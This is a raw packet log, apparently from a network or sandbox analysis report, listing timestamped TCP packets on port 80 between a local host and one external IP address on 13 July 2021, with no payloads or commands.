Jul 13, 2021 14:37:55.989948034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.989972115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990000963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990025043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990034103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990051985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990067959 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990077972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990103006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990128040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990153074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990153074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990179062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990185976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990215063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990225077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990241051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990267992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990293026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990294933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990318060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990330935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990343094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990369081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990390062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990772963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990793943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990809917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990824938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990839958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990842104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990854979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990869999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990885019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.990885973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990920067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.990998983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991017103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991055012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991074085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991099119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991100073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991126060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991225004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991404057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991439104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991480112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991482019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991501093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991552114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991585016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991611004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991664886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991672993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991688967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991703033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991744041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991780043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991811037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991853952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.991884947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991904020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.991951942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.992275000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.992324114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993078947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993113995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993135929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993160009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993181944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993195057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993202925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993221045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993242025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993246078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993259907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993261099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993280888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993285894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993303061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993325949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993326902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993349075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993366003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993370056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993387938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993402958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993421078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993428946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993442059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993462086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993463039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993483067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993486881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993500948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993522882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993529081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993545055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993562937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993563890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993577957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993592978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993594885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993607998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993626118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993643045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993653059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993658066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993684053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993709087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.993890047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993905067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993921041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.993962049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994075060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994107962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994152069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994199991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994220018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994235039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994250059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994262934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994288921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994301081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994354010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994401932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994574070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994626045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994671106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994713068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994745970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994777918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994785070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994810104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994818926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994872093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994882107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994913101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.994956017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.994996071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995011091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995024920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995033979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995106936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995136976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995156050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995187998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995196104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995218039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995250940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995259047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995270014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995285034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995325089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995393991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995409966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995424032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995439053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995450020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995481968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995490074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995507002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995543957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995580912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995600939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995620012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995636940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995636940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995663881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995703936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995795965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995811939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995826960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995835066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995873928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.995968103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.995984077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996020079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996231079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996273994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996304989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996344090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996366024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996387005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996403933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996411085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996423960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996442080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996457100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996460915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996495962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996526003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996541023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996581078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996596098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996603012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996614933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996632099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996638060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996646881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996666908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996690035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996694088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996706963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996716976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996728897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996748924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996752977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996772051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996793985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996794939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996812105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996829033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996831894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996851921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996871948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996881962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996917009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.996934891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.996953964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997004032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997023106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997044086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997064114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997081995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997086048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997102976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997121096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997126102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997139931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997155905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997159004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997175932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997190952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997210979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997211933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997229099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997256041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997277975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997283936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997296095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997330904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997349024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997370005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997375965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997389078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997409105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997414112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997433901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997441053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997454882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997483969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997509003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997530937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997539043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997549057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997569084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997575998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997586966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997606039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997622967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997636080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997642040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997663975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997673035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997684002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997704029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997708082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997724056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997736931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997741938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997759104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997762918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997777939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997797966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997800112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997819901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997842073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997860909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997867107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997879982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997899055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997906923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997931957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.997935057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997955084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997978926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.997996092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998007059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998016119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998032093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998035908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998058081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998084068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998121977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998146057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998152971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998171091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998186111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998200893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998210907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998215914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998230934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998248100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998260021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998265028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998279095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998289108 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998307943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998318911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998336077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998343945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998353004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998368979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998368979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998384953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998414040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998415947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998430014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998436928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998445034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998460054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998470068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998475075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998488903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998514891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998527050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998538971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998544931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998559952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998594999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.998598099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.998613119 CEST	80	49757	47.254.186.176	192.168.2.3
